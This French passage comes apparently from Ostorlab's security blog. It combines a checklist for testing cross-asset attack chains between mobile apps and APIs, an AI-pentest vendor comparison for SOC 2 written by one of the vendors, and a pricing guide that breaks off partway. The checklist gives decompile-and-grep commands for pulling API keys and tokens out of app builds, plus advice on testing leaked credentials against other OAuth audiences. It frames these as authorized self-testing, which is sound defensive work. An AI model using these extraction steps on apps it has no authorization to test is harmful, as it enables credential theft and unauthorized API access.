Nous recommandons toujours d'exécuter les scans multi-actifs contre un environnement de staging ou de préproduction, avec des comptes de test dédiés. Pour les API internes, un scanner on-premises s'exécute comme un conteneur dans votre infrastructure et n'ouvre qu'une connexion sortante pour recevoir des tâches et renvoyer les résultats. Pour les API de préproduction derrière un WAF ou une liste d'adresses IP autorisées, autorisez les adresses IP du scanner publiées dans la documentation d'Ostorlab. Les certificats clients ne sont pas encore un paramètre de scan : pour les API protégées par TLS mutuel, exécutez donc le scanner on-premises derrière le point où le mTLS est terminé, afin que le scanner n'ait jamais besoin de certificat client.

Comment tester votre propre pile contre les chaînes inter-actifs ?

Vous pouvez commencer avec des outils open source et quelques heures de travail ciblé. Suivez ces huit étapes pour trouver les chaînes mobile vers API, code vers API et inter-transports :

Listez tous les clients de l'API. Incluez chaque application mobile, frontend web, intégration partenaire et service interne qui l'appelle, ainsi que les identifiants que chacun détient.
Extrayez ce que les clients livrent. Décompilez les derniers builds Android (jadx -d out app.apk ou apktool d app.apk). Pour iOS, exécutez unzip app.ipa -d out sur un IPA déchiffré ; les builds de l'App Store sont chiffrés avec FairPlay, donc les chaînes du binaire ne sont pas consultables tant qu'il n'est pas déchiffré. Téléchargez les bundles JavaScript de production et les éventuelles source maps dans le même dossier. Recherchez ensuite les clés et les jetons (grep -rEai "api[_-]?key|secret|token|bearer" out/, où -a fait afficher à grep les correspondances dans les binaires compilés) et les noms d'hôtes (grep -rEaoh "https?://[a-zA-Z0-9./_-]+" out/ | sort -u). Pour un seul binaire, strings -a <binary> | grep -Ei "secret|token" fonctionne aussi.
Testez chaque identifiant trouvé, dans le périmètre. Pour chaque client OAuth, demandez des jetons pour les autres serveurs de ressources et scopes que vous êtes autorisé à tester (Auth0 appelle ce paramètre audience ; la RFC 8707 l'appelle resource). N'énumérez pas à l'aveugle au-delà de ce que la mission autorise. Pour chaque clé d'API, vérifiez quels hôtes et environnements du périmètre l'acceptent. Notre guide sur la recherche et la validation des secrets codés en dur montre comment vérifier ce qu'une clé divulguée permet de faire.
Comparez les routes découvertes avec la spécification. Une route qui apparaît dans un client ou dans le code mais pas dans le schéma OpenAPI ou GraphQL est une API fantôme potentielle. Elle peut être volontairement non documentée, dynamique ou hors périmètre : confirmez donc qu'elle est active, tournée vers l'API, non gérée et autorisée au test avant de la traiter comme telle.
Testez les autorisations avec une matrice de comptes rôle par tenant. Deux utilisateurs génériques ne suffisent pas. Pour chaque opération, testez l'accès avec le même rôle d'un tenant à l'autre et l'accès entre rôles au sein d'un tenant, y compris sur les endpoints de création qui acceptent un id.
Testez chaque transport, pas seulement HTTP. Chacun demande ses propres vérifications. Pour les WebSockets, testez l'autorisation à la connexion et à chaque opération. Pour gRPC, testez l'autorisation au niveau des méthodes et le traitement des métadonnées. Pour les webhooks, vérifiez les signatures, les horodatages, la protection contre le rejeu et le routage par tenant. Dans une évaluation GraphQL réalisée par l'AI Pentest Engine d'Ostorlab, l'API appliquait les rôles via HTTP mais acceptait des abonnements WebSocket non authentifiés.
Vérifiez les anciennes versions et les anciens hôtes. Appelez /v1/ là où /v2/ est la version actuelle, et essayez les hôtes de préproduction référencés dans les clients. Voici comment une incohérence de version d'API a mené à une prise de contrôle de compte.
Recommencez à chaque version. Un nouveau build mobile peut livrer un secret que la dernière évaluation n'a jamais vu.

Vous voulez automatiser cette checklist ? Multi-Asset Deep Agentic Scan automatise dans un même scan les étapes d'extraction, d'identifiants, de routes et d'autorisation : il récupère ce que livre votre application mobile, teste les identifiants et les routes contre l'API active, et signale les chaînes qu'il reproduit. Les vérifications WebSocket de l'étape 6 restent manuelles pour l'instant.

Comment empêcher les chaînes d'attaque inter-actifs ?

Ces correctifs sont architecturaux. Ils se situent côté serveur ou dans la façon dont les clients sont construits :

Gardez les secrets privilégiés hors des clients. Considérez tout ce qui est livré dans une application mobile ou un bundle web comme public. Les applications natives devraient authentifier les utilisateurs avec le flux Authorization Code avec PKCE, afin de ne détenir que des jetons de courte durée propres à chaque utilisateur. Les applications de navigateur peuvent utiliser un backend-for-frontend (BFF) pour garder les jetons hors du client. Notre guide sur les secrets codés en dur présente les schémas courants.
Limitez strictement les identifiants machine. Accordez à chaque client M2M l'accès à une seule API, avec le plus petit ensemble de scopes dont il a besoin, et déclenchez une alerte sur les demandes de jetons pour d'autres audiences.
Retestez l'identifiant, pas seulement le chemin. Lorsque vous corrigez un identifiant divulgué, vérifiez toutes les audiences et tous les scopes qu'il peut encore atteindre, pas seulement celui que l'application utilise.
Appliquez la propriété côté serveur pour chaque opération. Résolvez l'objet à partir de l'utilisateur authentifié, jamais à partir d'un seul id dans le corps de la requête. À la création, rejetez les identifiants d'objets existants appartenant au serveur (ou imposez une sémantique d'insertion seule) et vérifiez la propriété. Des UUID générés côté client pour les nouveaux objets peuvent convenir.
Utilisez une seule politique d'autorisation pour tous les transports. Les WebSockets et gRPC ne peuvent pas toujours réutiliser le middleware HTTP : définissez donc la politique de façon centralisée et appliquez-la à chaque frontière : la connexion, chaque opération ou resolver, chaque message ou événement, et les intercepteurs gRPC.
Traitez l'inventaire comme un contrôle de sécurité. Retirez les anciennes versions et les hôtes de préproduction, et gardez la spécification synchronisée avec ce que les clients appellent réellement.

Foire aux questions (FAQ)

Qu'est-ce qu'une chaîne d'attaque inter-actifs en sécurité des API ?

Une chaîne d'attaque inter-actifs combine des faiblesses présentes dans plusieurs actifs, comme une application mobile, un frontend web, le code source et une API backend. Une chaîne typique extrait un identifiant ou une route d'un client, les rejoue sous la forme d'une requête d'API valide et escalade grâce à une faille d'autorisation comme BOLA ou BFLA.

Pourquoi les scanners d'API ne détectent-ils pas les secrets codés en dur dans les applications mobiles ?

Les scanners d'API testent le backend en fonctionnement avec les identifiants et la spécification qu'on leur fournit. Ils ne décompilent pas les binaires mobiles, ne voient donc jamais les secrets compilés dans l'application, et n'ont aucune raison de tester ces secrets contre l'API.

Quelle est la différence entre l'ASPM et le scan multi-actifs ?

Les plateformes ASPM agrègent dans un seul tableau de bord les résultats de scanners distincts une fois chaque scan terminé. Le scan multi-actifs réalise une corrélation pendant le scan : une découverte dans un actif, comme un jeton dans un binaire mobile, est utilisée au cours du même scan pour exécuter des tests en conditions réelles contre l'API backend, et seules les chaînes reproduites sont signalées.

Quels risques de l'OWASP API Top 10 sont plus faciles à trouver avec un contexte client ou de code ?

Tous les risques de l'OWASP API Top 10 se corrigent côté serveur, mais Broken Object Level Authorization (API1), Broken Authentication (API2), Broken Object Property Level Authorization (API3), Broken Function Level Authorization (API5), Security Misconfiguration (API8) et Improper Inventory Management (API9) sont souvent plus faciles à découvrir ou à valider avec des identifiants, des routes ou des formats de requêtes tirés d'applications mobiles, de bundles web ou du code source.

Comment tester l'API backend d'une application mobile pour détecter une BOLA ?

Décompilez l'application pour connaître ses endpoints, ses formats d'identifiants et toute signature ou tout chiffrement des requêtes. Créez ensuite des objets avec un compte, puis lisez, modifiez et supprimez-les avec un second compte, en rejouant le format exact des requêtes de l'application. Recommencez pour les endpoints de création qui acceptent un ID d'objet.

Suffit-il de renouveler une clé d'API mobile divulguée ?

Cela dépend de la clé. Certaines clés d'API mobiles sont conçues pour être publiques et sont restreintes par application, par plateforme ou par quota : leur exposition seule n'est donc pas une compromission. Pour un secret privilégié divulgué, le renouvellement seul ne suffit pas, car le prochain build livrera le nouveau secret de la même façon. Révoquez-le et renouvelez-le, puis retirez-le du client et émettez des jetons de courte durée propres à chaque utilisateur depuis un service backend.

Pourquoi avons-nous créé le test multi-actifs ?

Nous voyions sans cesse des équipes exécuter des scanners distincts pour le code, les applications mobiles et les API, puis rapprocher les résultats à la main, alors que les chaînes qui comptaient passaient par des identifiants extraits de binaires clients.

C'est pourquoi nous avons créé Multi-Asset Deep Agentic Scan : une seule boucle qui transforme un jeton trouvé dans un binaire client en test en conditions réelles contre le backend, et ne signale que les chaînes qu'elle reproduit.

Si vous comparez plus largement les outils de test d'API, consultez notre comparatif des outils de test de sécurité des API en 2026. Pour voir ce qu'un scan multi-actifs trouve sur vos propres applications mobiles et API, réservez une démo avec notre équipe d'ingénierie sécurité.

Pentest IA pour SOC 2 : comparatif de 6 fournisseurs

2026-09-25T10:00:00+02:00

Synthèse

Ce guide compare Ostorlab, XBOW, Aikido, Intruder, Escape et Penti pour le pentest d'applications dans le cadre d'audits SOC 2. Il examine la couverture des tests, la validation des exploits, la revue humaine, les exemples de rapports, les retests et les tarifs. Les services diffèrent par les accès qu'ils exigent et par ce que comprend chaque achat, des évaluations ponctuelles aux abonnements continus. Avant de choisir, passez en revue le périmètre et un exemple de rapport avec votre auditeur, et confirmez le coût total des tests, des rapports et de la vérification des correctifs.

Un pentest IA est une évaluation de sécurité dans laquelle des agents logiciels découvrent des vulnérabilités, tentent des exploits et rédigent le rapport.

Les fournisseurs de pentest IA vendent plusieurs services différents sous le même nom. Certains laissent des agents IA mener l'évaluation et produire le rapport. D'autres incluent une revue humaine, tandis que certains pentesteurs réalisent eux-mêmes l'évaluation en s'aidant de l'IA. Avant de comparer les prix, établissez qui testera votre application, qui vérifiera les vulnérabilités et ce que le fournisseur livrera.

Pour SOC 2, ce choix doit suivre les preuves de test dont votre audit a besoin. Les recommandations de l'AICPA sur les Trust Services Criteria incluent le test d'intrusion parmi les moyens d'évaluer les contrôles de sécurité, mais elles ne définissent pas un ensemble de tests unique qui conviendrait à toutes les organisations.

Ce guide compare des fournisseurs de pentest IA pour les applications web, les API et les applications mobiles, en se concentrant sur les preuves qu'ils peuvent fournir pour SOC 2. Nous examinons la façon dont les tests et la revue sont gérés, si les correctifs sont retestés et la clarté avec laquelle chaque fournisseur explique ses tarifs. Lorsqu'un exemple de rapport est public, nous en donnons le lien afin que vous puissiez le comparer aux besoins de votre audit SOC 2.

Divulgation : cette comparaison a été réalisée par Ostorlab, qui figure aussi parmi les fournisseurs étudiés. Les tarifs et les fonctionnalités indiqués sont exacts à septembre 2026 (mise à jour d'Ostorlab le 6 octobre 2026) et proviennent des pages tarifaires publiques, de la documentation et des exemples de rapports de chaque fournisseur.

Comment choisir un fournisseur de pentest IA pour SOC 2

Le facteur décisif est ce que prouve le rapport, et non l'étiquette du fournisseur : couverture du périmètre, preuves d'exploitation, revue humaine et retest consigné.

Adéquation du rapport : un exemple de rapport montre-t-il ce qui a été testé, quand et ce qui a été trouvé ? Examinez-le avec votre auditeur en regard du périmètre proposé.
Validation des exploits : le fournisseur montre-t-il des preuves que les problèmes signalés sont exploitables, ou votre équipe devra-t-elle vérifier des alertes de scanner ?
Délai du rapport : combien de temps faudra-t-il pour recevoir le rapport ? Prévoyez le temps de corriger les vulnérabilités et de les retester avant la date limite de votre audit.
Profondeur des tests : l'évaluation couvrira-t-elle les zones authentifiées, les différents rôles d'utilisateur et les workflows importants ? Vérifiez que ces éléments figurent dans le périmètre chiffré.
Retests : le fournisseur vérifiera-t-il les correctifs et consignera-t-il le résultat dans le rapport ?
Tarifs et transparence : les tarifs sont-ils publics ? Si vous avez besoin d'un devis, vérifiez si le rapport et les retests sont inclus.

Les fournisseurs de pentest IA pour SOC 2 en un coup d'œil

Fournisseur	Applications testées	Validation des exploits	Revue humaine	Exemple de rapport	Délai de livraison	Retests	Tarifs
Ostorlab	Web, API, Android et iOS	L'IA valide avec un exploit fonctionnel	Non incluse	Exemple de scan web	De quelques heures à quelques jours, selon la cible	Fenêtre de retest de 30 jours à compter de la fin des tests	À partir de $499/évaluation.
XBOW	Applications web et leurs API connectées	L'IA valide ; les vulnérabilités non confirmées sont listées séparément	Non précisée	Aucun exemple public trouvé ; documentation des rapports	Rapport généré à la fin de l'évaluation	Disponible ; fenêtre de 30 jours avec Lightspeed	Devis personnalisé, selon le périmètre et l'usage.
Aikido	Web, API ; offre Android distincte	Des agents IA supplémentaires valident les vulnérabilités	Non précisée	Exemple Android	Résultats en quelques heures ; rapport après validation	Inclus avec les évaluations Standard et Rightsized	$4,000/évaluation Standard ; Android tarifé selon le périmètre.
Intruder	Applications web et leurs API ; code source requis	L'IA valide avec du code de PoC	Non précisée	Exemple d'application web	Rapports le jour même	Illimités	$3,500/test ou $12,000 pour quatre, utilisables sur un an.
Escape	Web et API	L'IA valide des séquences d'attaque	Aucune dans le workflow publié	Aucun exemple public trouvé ; étude de cas sur les rapports	Quelques heures dans l'étude de cas Amp ; aucun SLA fixe	Disponible ; quota non précisé	$3,000/unité de pentest via AWS Marketplace, utilisable sur 12 mois.
Penti	Web et API	L'IA valide ; la vérification humaine varie selon l'offre	Launch : option payante ; Plus : 3 vulnérabilités/an ; Advanced : 6	Aucun exemple public trouvé ; générateur de rapports	Aucun délai d'exécution fixe publié	Illimités	$3,240/an pour Launch avec facturation annuelle et rapports d'audit.

Note sur les tarifs : ces prix ne sont pas directement comparables : les évaluations individuelles, les lots de tests, les devis à l'usage et les abonnements annuels couvrent des périmètres et des quotas différents.

« Non précisée » signifie que la documentation examinée ne confirme pas qu'une revue humaine est incluse.

Ce que chaque fournisseur livre pour SOC 2 : preuves d'exploitation, revue humaine et retests

Ostorlab

Spécificité : pentest web, API et mobile avec un contexte partagé entre les applications, validation des exploits par IA et retests.

Ostorlab teste les applications web, les API et les applications Android et iOS. Son Multi Asset Scan teste ensemble des applications connectées, en partageant le contexte au cours de l'évaluation. Ce qu'il découvre dans une application peut guider le test d'une autre, ce qui aide à révéler des vulnérabilités que des scans séparés peuvent manquer.

Par exemple, un identifiant exposé dans une application mobile pourrait permettre un accès non autorisé à son API backend. Le rapport rassemble ces vulnérabilités en préservant le lien entre elles.

Tests et validation des exploits

L'IA d'Ostorlab valide les exploits. Après avoir détecté une vulnérabilité potentielle, les agents tentent l'exploit et capturent des preuves, et chaque vulnérabilité confirmée est livrée avec un exploit fonctionnel. Ce sont les agents IA, et non un relecteur humain, qui valident chaque vulnérabilité, et moins de 5% des vulnérabilités sont des faux positifs.

Interface de validation d'exploit d'Ostorlab Agentic Deep Scan

Rapport et retests

L'exemple de rapport public comprend le périmètre des tests, les vulnérabilités détaillées, les preuves d'exploitation et des recommandations de remédiation.

L'exemple est un rapport de scan web. La présentation du reporting SOC 2 d'Ostorlab décrit séparément la lettre d'attestation signée incluse dans son service d'évaluation.

Après la remédiation, les Risk Reruns rejouent le test concerné pour vérifier si la vulnérabilité reste exploitable. Le workflow consigne le résultat de la vérification et met à jour le statut de la vulnérabilité.

Interface de retest Ostorlab Risk Reruns

Tarifs et délais de livraison

L'évaluation Core démarre à $499, le prix dépendant du périmètre. Les tests durent de quelques heures à quelques jours, selon la cible. Chaque évaluation comprend des rapports d'audit, de conformité et de synthèse pour la direction, ainsi qu'une lettre d'attestation signée par le responsable conformité d'Ostorlab qui confirme le périmètre et les dates des tests. Une fenêtre de retest de 30 jours s'ouvre à la fin des tests, avec autant de retests de vulnérabilités individuelles que nécessaire jusqu'à leur correction.

Mis à jour le 6 octobre 2026 : le pentest IA d'Ostorlab n'inclut pas de validation humaine, prend de quelques heures à quelques jours, et comprend une fenêtre de retest de 30 jours et une lettre d'attestation signée.

XBOW

Spécificité : pentest autonome pour les applications web et leurs API connectées, avec validation des exploits et retests.

XBOW mène des pentests autonomes contre des applications web et leurs API. Il exige une interface web interactive ; les API autonomes ne sont donc pas prises en charge actuellement.

Tests et validation

Des agents IA tentent des attaques et valident les vulnérabilités par l'exploitation. Les vulnérabilités confirmées comprennent des preuves d'exploitation, des étapes de reproduction et des journaux de test. Les problèmes qui n'ont pas pu être exploités sont listés séparément comme résultats informatifs.

Rapport et retests

Les rapports disponibles comprennent un rapport de pentest complet, une synthèse pour la direction et une lettre d'attestation.

Le retest essaie l'exploit d'origine et des approches alternatives, puis met à jour le rapport avec les correctifs vérifiés. Avec l'offre Lightspeed de XBOW, le retest est disponible dans une fenêtre de 30 jours.

Tarifs et délais de livraison

La tarification est basée sur l'usage et nécessite un devis. Les vulnérabilités apparaissent pendant les tests ; le rapport est généré à la fin de l'évaluation.

Aikido

Spécificité : pentest autonome web et API avec ou sans code source, plus des évaluations Android distinctes couvrant l'application et son backend.

Aikido teste les applications web et les API, avec une évaluation Android distincte couvrant l'application et son backend. Les tests web peuvent être menés avec ou sans code source. Les tests Android nécessitent l'APK, le code source et un compte de test.

Tests et validation

Des agents IA trouvent et exploitent les vulnérabilités, puis des agents supplémentaires valident les résultats. Les vulnérabilités comprennent des preuves sous forme de requêtes et de réponses ainsi que des recommandations de remédiation.

Le test Android nécessite un build dont le certificate pinning, la détection du root, la détection d'émulateur et la protection à l'exécution sont désactivés.

Rapport et retests

Aikido propose des rapports détaillés et simplifiés, un rapport post-remédiation et une lettre d'attestation.

Son exemple de rapport Android comprend le périmètre des tests, le statut des vulnérabilités, les étapes de reproduction et des recommandations de remédiation.

Le retest est inclus avec les évaluations Standard et Rightsized. Pour Android, les correctifs nécessitent le téléversement d'un APK reconstruit.

Tarifs et délais de livraison

Un pentest Standard coûte $4,000 pour une application et ses API principales, reporting et retest compris. Les autres évaluations sont tarifées selon le périmètre. Aikido annonce des résultats en quelques heures, les rapports étant générés après validation.

Intruder

Spécificité : pentest web et API assisté par le code source, avec des preuves d'exploitation reproductibles, des rapports le jour même et des retests illimités.

Intruder teste les applications web et leurs API à partir du code source et d'un accès à l'application en cours d'exécution. La mise en place nécessite un dépôt connecté, le contexte de l'application et des identifiants de test.

Tests et validation

Des agents IA inspectent le code et testent des vulnérabilités potentielles contre l'application. Les vulnérabilités comprennent du code de preuve de concept pour reproduire l'exploit. L'évaluation s'exécute de manière autonome.

Rapport et retests

L'exemple de rapport public comprend le périmètre, les rôles d'utilisateur, les exclusions et des vulnérabilités détaillées avec des preuves d'exploitation, le code concerné et des conseils de remédiation.

Les retests illimités sont inclus. L'exemple ne montre pas de retest terminé.

Tarifs et délais de livraison

Le tarif est de $3,500 par test ou de $12,000 pour quatre tests, utilisables sur un an. Intruder annonce des rapports le jour même et un remboursement intégral si un auditeur rejette le rapport.

Escape

Spécificité : pentest autonome web et API qui teste les permissions des utilisateurs et combine plusieurs étapes d'attaque, avec des rapports pour les auditeurs et pour les développeurs.

Escape mène des pentests autonomes contre des applications web et des API, avec notamment des contrôles entre différents comptes d'utilisateur et permissions.

Tests et validation

Des agents IA testent les workflows de l'application et combinent plusieurs étapes en attaques. Les vulnérabilités comprennent la séquence de requêtes, des preuves d'exploitation et des recommandations de remédiation. Le workflow publié d'Escape ne mentionne pas de revue humaine.

Rapport et retests

Nous n'avons pas trouvé d'exemple de rapport public complet. L'étude de cas Amp d'Escape décrit des rapports distincts pour les auditeurs et pour les développeurs, avec des vulnérabilités mises à jour après les retests.

Escape peut aussi transformer des vulnérabilités en contrôles récurrents grâce à son produit DAST. Que cela soit inclus dépend de l'offre.

Tarifs et délais de livraison

Escape vend $3,000 par unité de pentest à la demande via AWS Marketplace, utilisable sur 12 mois. Les limites d'actifs et les quotas de retests ne sont pas précisés.

Le test d'Amp s'est terminé en plusieurs heures. Escape ne donne pas de délai de livraison fixe dans cette étude de cas.

Penti

Spécificité : pentest web et API par abonnement, avec des crédits d'évaluation, des retests illimités et une vérification humaine qui varie selon l'offre.

Penti propose du pentest IA pour les applications web et les API via un abonnement à crédits. La vérification humaine dépend de l'offre ; les pentests manuels complets sont vendus séparément.

Tests et validation

Des agents IA exécutent des attaques et valident les vulnérabilités. Plus inclut trois vulnérabilités vérifiées par un humain par an ; Advanced en inclut six. La vérification humaine est payante en supplément avec Launch.

Rapport et retests

Nous n'avons pas trouvé d'exemple de rapport public complet. Le générateur de rapports de Penti décrit des rapports qui combinent des vulnérabilités trouvées par l'IA, des résultats de scanners et une revue humaine, avec des recommandations de remédiation et un calendrier de retests.

Les retests illimités sont inclus dans toutes les offres. La couverture de revue humaine décrite dans le générateur de rapports peut dépasser ce que comprend votre abonnement.

Tarifs et délais de livraison

Launch coûte $3,240 par an, avec des rapports d'audit disponibles avec l'abonnement annuel. Il comprend 300 crédits par mois ; les nouvelles évaluations consomment des crédits.

Les rapports sont disponibles à la fin des tests. Aucun délai d'exécution fixe n'est publié.

Quel fournisseur de pentest IA choisir ?

Choisissez Ostorlab si votre périmètre comprend des applications mobiles, des applications web et des API qui fonctionnent ensemble. Il peut tester ces connexions, valider les exploits et retester les vulnérabilités après correction.
Choisissez XBOW si vous avez une application web interactive et souhaitez une évaluation autonome. Il fournit des preuves d'exploitation, un rapport complet et une lettre d'attestation, puis met à jour le rapport lorsque les correctifs sont vérifiés. Il ne prend pas actuellement en charge une API sans interface web.
Choisissez Aikido si vous voulez une évaluation définie d'une application web et de ses API principales. Les pentests Standard comprennent un rapport et un retest, pour un prix fixe sur ce périmètre.
Choisissez Intruder si vous pouvez connecter votre dépôt de code source et avez besoin rapidement d'un rapport sur une application web. Il annonce un rapport le jour même et inclut des retests illimités.
Choisissez Escape si tester les permissions entre rôles d'utilisateur et les workflows en plusieurs étapes est une priorité. Il propose aussi un passage des vulnérabilités prouvées à des contrôles de non-régression récurrents. Vérifiez quels tests continus sont inclus dans votre offre.
Choisissez Penti si vous voulez des tests IA récurrents via un plan annuel à crédits plutôt que d'acheter des évaluations individuelles. Launch inclut des rapports d'audit ; la vérification humaine y est une option payante.

Obtenez votre pentest SOC 2 avec Ostorlab

Testez vos applications web, vos API et vos applications mobiles, avec validation des exploits par IA et une fenêtre de retest de 30 jours incluse. Les évaluations démarrent à $499 et durent de quelques heures à quelques jours, selon la cible.

Découvrir les offres d'évaluation ou consulter un exemple de rapport.

Questions fréquentes

Un rapport de pentest IA peut-il être utilisé pour SOC 2 ?

Oui, un pentest IA peut fournir des preuves complémentaires pour un audit SOC 2. L'acceptation dépend de l'évaluation et des preuves qu'elle produit. Partagez avec votre auditeur le périmètre proposé, la méthode de test et un exemple de rapport avant de réserver. Notre guide des pentests IA pour SOC 2 explique les points à aborder.

SOC 2 exige-t-il un test d'intrusion annuel ?

SOC 2 ne prescrit pas une exigence unique de test annuel pour toutes les organisations. L'AICPA inclut le test d'intrusion parmi les méthodes d'évaluation du critère CC4.1 (points d'attention pour les évaluations distinctes). La fréquence de vos tests doit refléter vos risques, vos engagements de sécurité et les contrôles audités.

Un rapport de pentest remplace-t-il un rapport SOC 2 ?

Non. Un rapport de pentest documente une évaluation de sécurité. Un rapport SOC 2 est émis par un cabinet d'expertise comptable indépendant (CPA) à l'issue d'un examen des contrôles de votre organisation. Le pentest peut apporter des preuves à cet examen.

Que se passe-t-il si le pentest trouve des vulnérabilités ?

Priorisez les vulnérabilités, désignez quelqu'un pour corriger chaque problème et conservez une trace des modifications. Le retest vérifie ensuite si ces correctifs fonctionnent. Pour les problèmes non résolus, documentez le risque, l'action prévue et les protections temporaires éventuelles, et discutez de leurs implications pour l'audit avec votre auditeur.

Combien coûte un test d'intrusion applicatif en 2026 ?

2026-09-25T08:00:00+02:00

Deux devis de pentest arrivent sur votre bureau : 4 000 $ et 40 000 $. Les deux parlent de « test d'intrusion d'application web ». Il est rare qu'il s'agisse du même test.

Réponse courte : en 2026, un test d'intrusion applicatif manuel coûte environ 3 000 $ à 18 000 $ pour une seule application web ou API et 18 000 $ à plus de 50 000 $ pour un périmètre multi-surfaces (web, API, mobile, cloud). Les offres de pentest IA publiées coûtent 499 $ à environ 8 000 $ par évaluation cadrée. Le prix dépend des rôles utilisateur, de l'authentification, des actifs connectés, de la profondeur des tests et des retests.

Ce guide s'adresse aux responsables sécurité, aux CTO et aux équipes achats qui doivent budgéter un pentest ou comparer des devis qui ne se ressemblent pas. Les prix sont ceux de septembre 2026.

Combien coûte un test d'intrusion applicatif en 2026 ?

Les pentests manuels sont facturés en jours de testeur ; les pentests IA sont facturés par évaluation, par abonnement ou en crédits. Le tableau ci-dessous résume les fourchettes de planification.

Modèle de test	Budget à prévoir	Mode de tarification courant	Quand le choisir
Pentest IA ou autonome	499 $ à environ 8 000 $ pour les offres cadrées publiées ; tarification entreprise sur mesure	Par évaluation, abonnement, quota d'actifs ou crédits	Tests fréquents, validation des versions et preuves à l'exécution
Pentest manuel, une seule application web ou API	Environ 3 000 $ à 18 000 $	Jours de testeur, périmètre fixe ou forfait projet	Logique complexe, assurance formelle, testeur humain nommé
Pentest manuel, périmètre multi-surfaces	Environ 18 000 $ à plus de 50 000 $	Jours de testeur répartis entre plusieurs spécialistes	Web, API, mobile et cloud évalués ensemble
Pentest as a Service (PTaaS)	Généralement sur mesure ou en crédits	Abonnement annuel, crédits prépayés ou missions ponctuelles	Organisations qui réalisent plusieurs tests par an
Tests hybrides IA et humains	Sur mesure	Plateforme automatisée plus revue par des experts	Couverture récurrente avec assurance humaine sur le périmètre critique

Fourchettes de prix publiées des pentests applicatifs, 2026

Ce sont des fourchettes de planification, pas des tarifs universels. Pour les tarifs journaliers régionaux en Amérique du Nord, en Europe, en APAC et en Amérique latine, consultez notre guide 2026 du test d'intrusion pour les startups.

D'où viennent ces fourchettes de prix ?

Les fourchettes proviennent de guides tarifaires publics et de prix d'offres publiés, examinés en septembre 2026 :

Intruder estime le tarif journalier manuel à 1 500 $–2 500 $, ce qui place un test d'application web entre 4 500 $ (3 jours junior) et 37 500 $ (15 jours senior). Il situe les pentests IA à prix fixe entre 4 000 $ et 8 000 $ (Intruder, mis à jour en septembre 2026).
Cobalt situe un pentest traditionnel entre 20 000 $ et 50 000 $ et indique que le PTaaS était en moyenne environ 31 % moins cher (Cobalt, février 2024).
Le guide Ostorlab pour les startups situe un pentest d'application web entre 3 000 $ et 18 000 $, et une évaluation web, API et cloud aux États-Unis entre 18 000 $ et 40 000 $ (Ostorlab, août 2026).
XBOW ne publie aucun prix : sa tarification dépend de l'usage et du périmètre de chaque environnement (tarifs XBOW). Son offre Pentest On-Demand à 4 000 $ a été retirée le 16 juillet 2026.
Ostorlab publie des formules AI Pentest à partir de 499 $ (offres Ostorlab).

Transparence : Ostorlab publie ce blog et vend des offres AI Pentest. De nombreux fournisseurs ne communiquent leurs prix qu'après cadrage ; la fourchette des pentests IA reflète donc les offres publiées, pas l'ensemble du marché. Cet article est revu chaque trimestre ; les prix évoluent.

Que comprend le prix d'un pentest applicatif ?

Un devis reflète trois éléments : la cible, la profondeur des tests et les preuves que vous recevez.

Que recouvre « une application » ?

« Une application » peut être un simple site web, ou inclure :

Un frontend web
Des API REST, GraphQL ou autres
Des applications Android et iOS
Des portails d'administration
Des dépôts de code source
Des services cloud, des fournisseurs d'identité et des intégrations tierces

Une proposition doit nommer chaque actif inclus. Si elle ne mentionne que « l'application », demandez ce qui est exclu.

La profondeur des tests compte-t-elle plus que la taille de l'application ?

Souvent, oui. Certaines évaluations appliquent des contrôles larges sur les fonctionnalités accessibles. D'autres passent du temps à suivre des parcours, comparer des utilisateurs, tester des changements d'état et enchaîner des faiblesses.

Un court parcours de paiement, d'approbation ou de récupération de compte peut demander plus d'investigation que des centaines de pages de contenu public.

Pourquoi la qualité des preuves change-t-elle le prix ?

Une liste de faiblesses suspectées coûte moins cher à produire qu'un rapport comportant des requêtes et réponses reproductibles, une preuve d'impact, une validation humaine, des recommandations de remédiation et un retest. Cette différence détermine si les développeurs peuvent agir sur une vulnérabilité sans refaire l'investigation.

Comment est tarifé un pentest applicatif manuel ?

Les pentests manuels sont cadrés autour du nombre de jours de testeur nécessaires :

Manual test cost = (tester days × day rate) + project overhead + optional services

Les frais de projet couvrent le cadrage, la préparation de l'environnement, la gestion de projet, la rédaction du rapport, la revue qualité, les réunions de restitution et la vérification des correctifs.

Une seule application web avec une authentification standard coûte généralement 3 000 $ à 18 000 $. Un écosystème complexe couvrant le web, les API, les clients mobiles et le cloud, évalué par plusieurs spécialistes, coûte généralement 18 000 $ à plus de 50 000 $. Un environnement de test stable et un périmètre clair réduisent l'effort. Des identifiants défaillants ou des données de test manquantes consomment des jours de testeur payés sans ajouter de couverture.

Comment est tarifé un pentest IA ou autonome ?

Le pentest IA est un test réalisé par une plateforme qui explore l'application, observe les réponses, choisit ses actions suivantes et tente de valider les comportements exploitables. Les acheteurs rencontrent généralement quatre modèles de tarification :

Par évaluation : un prix unique pour une cible et une fenêtre de test définies.
Abonnement : un accès mensuel ou annuel avec des limites sur les applications, les tests ou la profondeur.
Par actif : une tarification liée aux applications, API, dépôts, hôtes ou espaces de travail.
Crédits de consommation : le scan de routine est inclus ; l'investigation autonome approfondie consomme des crédits.

Un prix par test plus bas ne prouve pas une couverture équivalente. Demandez ce que le système a atteint, quelles identités il a utilisées, quelles vulnérabilités il a validées et ce qui est resté inexploré. Nous expliquons comment le vérifier dans Peut-on faire confiance aux résultats des pentests IA ?

Combien Ostorlab facture-t-il un AI Pentest ?

Ostorlab AI Pentest est une évaluation ponctuelle, validée par l'exploitation, construite sur le moteur Deep Agentic Scan d'Ostorlab. Elle propose quatre formules publiées (ostorlab.co/plans) :

Formule	Prix
Core	499 $
Advanced	1 999 $
Elite	3 999 $
Hyperscale	Sur mesure, adapté au périmètre

Chaque formule inclut un exploit fonctionnel pour chaque vulnérabilité confirmée par les agents IA, la prise en charge multi-actifs pour les actifs web, API et mobiles connectés, et une fenêtre de retest. La validation humaine n'est pas incluse. La durée de la fenêtre de retest est précisée dans le devis.

Mise à jour du 5 octobre 2026 : les vulnérabilités d'AI Pentest sont validées par l'exploitation par les agents IA ; la validation humaine n'est pas incluse (voir les offres).

Mise à jour du 6 octobre 2026 : XBOW a retiré son offre Pentest On-Demand à 4 000 $ le 16 juillet 2026 ; XBOW ne publie désormais aucun prix.

Pour les programmes continus, Ostorlab propose aussi AppSec, un abonnement couvrant un espace de travail d'application connecté avec des crédits IA mensuels, et Enterprise, un accord annuel sur mesure avec crédits mutualisés, gouvernance, intégrations, Attack Surface et App Vetting. Il ne faut pas les comparer au prix d'une évaluation unique : un AI Pentest ponctuel répond à une question cadrée, alors qu'AppSec et Enterprise fonctionnent en continu.

Quels facteurs déterminent le coût d'un pentest applicatif ?

